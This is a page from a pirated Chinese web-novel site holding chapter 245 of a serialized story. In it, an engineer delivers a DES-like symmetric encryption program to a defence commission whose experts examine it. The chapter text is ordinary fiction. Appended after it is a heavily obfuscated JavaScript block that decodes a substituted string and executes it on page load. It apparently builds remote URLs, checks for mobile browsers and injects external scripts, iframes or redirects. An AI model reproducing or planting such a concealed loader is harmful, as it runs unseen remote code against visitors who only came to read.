首页
第245章 填得最快的一个坑
返回
关灯 护眼:关 字号:小

第245章 填得最快的一个坑

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    长剑厂和使用方的人,拿着成果欢欢喜喜的离开了三轧厂,回去开展工作去了。
    而高振东,则是继续在厂里发帖子,人还真不少。
    老陈早就单独说过了,他那里反而发不发帖子都一样,师父你已经是成熟的男方家长了,要学会自己记日子。
    其他诸如杨厂长,李副厂长,技术处的熟人,保卫处的熟人,还有车间里熟人也不少,都是在做产品的时候认识的。
    还有俞允成他们,高振东也通知了,人家从海河口不远千米过来,还是要感受到大家庭的温暖嘛,合作搞的单晶炉已经快要成功了,不过看俞允成这个样子,是准备放到高振东结婚后再结题,给高振东来个双喜临门。
    不过高振东也没有只要是认识都通知,那样在别人看来,吃相未免太难看,还真得是认识、熟悉、关系不错的,才会通知。
    比如技术处被高振东收拾过几次的老袁,就一句话都懒得说了。
    其他厂所,要通知的倒也不多了,运算所、京城钢铁厂这些,都是只通知了熟悉的领导,熟悉的普通职工和中层都没怎么通知,倒不是看不起,而是怕人家多想,再说这个年头,阵仗搞大了,也不是什么好事。
    就在这种忙碌中,星期三,防工委的人却来了,机要室的人带过来的,他们先核实了一遍来人的身份。
    见是机要室带过来的,所以高振东自己再次向防工委核实了他们身份,高振东把他们请到了自己办公室。
    来人一脸的不好意思:“高主任,你看,眼看这两天你忙着结婚,我们还来麻烦你,真是不好意思。先预祝你新婚愉快,恭喜恭喜啊。”
    看来防工委领导是打过招呼的,高振东倒是无所谓,你们不来,我该上班也是要上的,总不可能这一个星期都不工作吧,哪来那么大脸。
    “谢谢谢谢。没什么不好意思的,工作总是要做的嘛。你们这次来,是因为什么事情?”
    “高主任记不记得上次做数据远程通信试验的时候,我们领导请你做一数据加密的程序,用于解决数据传送中的保密问题。”
    高振东“啊”了一声,想起来了。
    “对,是有这个事情,怎么,们已经确定了需求了?”
    “是的,这个是我们的想法,你看一看。”
    高振东接过文件,打开看了起来。
    要求并不复杂,基本上就是对称加密的要求,DES对于这些要求来说非常合适,并没有什么难度。
    简单来说,在信息技术里,对称加密是大家最为熟悉的加密方式了,用同一个或者同一套密钥对数据进行加密和解密,解密是加密的逆运算。日后常见的Rar、Zip、7z等压缩软件用的就是这类加密方式。
    优点是暴力破解困难,运算量小,加密解密速度快,不过有一个致命的缺陷,暴力破解困难不等于安全性高,这种方式最大的弱点就在于密钥的管理上,尤其是需要经常变换密钥的场合,怎么把密钥安全的送到对方手上就成了一个问题。
    有人在实践中,曾经搞过用一个极为复杂的根密钥来管理密钥的传送问题,不过实际上,这个根密钥本身就成为一个弱点,至于最终怎么解决这个问题,那是后话。
    不过对于现阶段的防工委及相关单位来说,密钥的管理是通过管理手段来解决,对于这类需求,他们有大量成熟的手段可以用。
    总不至于像花旗佬一样,战略弹道导弹发射密码是几个0或者123456这么抽象就是了。
    倒不是防工委不想用非对称加密的公开密钥算法,比如日后国际上的RSA、国密的SM2、SM9这一类,而是因为他们现在根本就想不到居然还有这种东西的存在,这就是时代的局限性了。
    不过国密的SM2和RSA虽然都是公开密钥算法,但是却有很大的不同,前者基于椭圆曲线,后者则基于大数分解。
    高振东倒也没有想着在现在就提出非对称加密来,这些加密方式的运算量可比对称加密大多了,现在的机器撑不住。
    他看完整个要求,笑了,这事儿好办。
    他再次向防工委那边打去了电话,再次核实了来人的身份,主要是核实相关的东西是否在这一次就要交给来人,以这些东西的用途,小心一些并不过分。
    虽然DES的算法本身,在日后其实是公开的,但是这个时候嘛,还是按照相关要求来比较好。
    来人也笑呵呵的,非常配合,在他们看来,高振东的做法再正常不过了。
    核实相关事宜,高振东转身打开了自己的保险柜,背着来人,从存储库里拿出了几样东西。
    一盘磁带、两份纸质文档。
    “这是我已经写好的加密程序,两份纸质文档,一份是算法的原理和说明,一份是程序源码及程序使用说明。”
    这是高振东在开完那个会之后,抽大半天搞的。程序都是标准程序,并没有花多少时间,花时间的反而是那两份纸质文档,因为还没有打印机,所以源码和相关说明都是纯手写,把他累得够呛。
    甚至都让他起了去运算所催催进度,当一回监工的心思了。
    我在会上说了一天解决,那就只要一天!
    来人是实在没想到这个事情居然不用隔夜,高振东当场就给解决了。
    “高主任,你已经做好了?和这个要求配得上不?”
    有这个担心实属正常,毕竟没见过还没看需求,就先把东西给做好了的。
    高振东点点头:“我看过了,你们拿过来的需求,这份程序都能满足,不需要修改。你们拿回去给相关专家看了,他们就知道了,如果还有问题,再来找我。”
    其实这也与防工委那边,由于计算机相关技术和概念的不熟悉,难以提出具体的算法指标来有关。
    比如最简单的一个,密钥长度问题,实际上他们在提出的时候根本就想不到这回事儿,能意识到密钥长度和加密强度之间的关系,但是却没法定量的规定出密钥的长度,只能定性的描述“密钥长度应满足防止遍历手段在XX时长内破解的需求。”
    因此高振东在完整评估了防工委送来的需求之后,马上就把这玩意给拿出来了,不用改,妥妥的。
    看见高振东信心十足,防工委的人也不嗦,只要你敢确定,我就敢带走。
    签完相关手续之后,来人将三个东西密封起来,从这个时候开始,他们自己都不能再打开这个密封了,甚至包括高振东自己也不行。
    这个坑填得还蛮快的,高振东心想。
    带着东西,他们很快就回到了防工委。
    防工委这边,相关人员早就准备完毕,久候多时了。
    他们是来商量加密软件需求的相关人员,还没离开,听见那边汇报东西已经到手了,干脆再接再厉加个班,而且他们也很好奇到底这个一天搞出来的东西长什么样,效果如何。
    一系列交接程序过后,人们才打开密封,把三样东西拿了出来。
    《国密-1对称加密算法说明》,《国密-1对称加密软件使用说明》,以及一盘磁带。
    “呵呵,名字起得不错,大气,简约。”有人笑道。
    防工委领导没好接话,以他对高振东的了解,这家伙就是个起名废,这次完全是运气。
    数学方面的专家先看的是算法说明,计算机技术人员则在看程序使用说明,准备运行加密程序。
    几位数学家边看算法,一边点头。
    “嗯,这个算法很不错,没有什么明显的弱点,初步看下来,想要破解,要么只能从搞密钥入手,要么只能用遍历。”
    “对,看下来,算法本身是没有漏洞的。而且加解密本身的运算量并不大,和当前计算机速度是匹配得上的。”
    “最妙的是,这种算法,是非常适合计算机的二进制运算方式的,与一般的加减乘除乘方开方等方式不同,算法比较复杂,可是对于计算机来说却很合适。”
    “还别说,要我来设计,我还真搞不了这么好,数学我可能比设计者强,可是计算机的数学,我还真不如他。”
    “听说是一天搞出来的?天才啊,光是设计这个算法,对一般人来说那就不是一天两天能搞出来的。”
    设计的确设计不出来,不过抄的话就简单多了。
    “7个字符的密钥,支持字母、数字和特殊字符,这个范围可就大了。”
    DES密钥是56位,正好7个字节。
    “字母的大小写还敏感,那范围就更大了。”
    “.”
    防工委领导笑呵呵的,看来高大炮果然不放空炮,说是一天就真是一天啊,人刚过去,成果就回来了。
    没多久,计算机技术人员就把程序运行了起来,开始了相关的测试。
    被加密文件不大,1万字,20kByte的样子,没一会儿,操作人员就汇报道:“加密完成,密文与明文暂时看不出可以直接判读的相关性。”
    这个只能说暂时,具体的还要经过多次测试。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();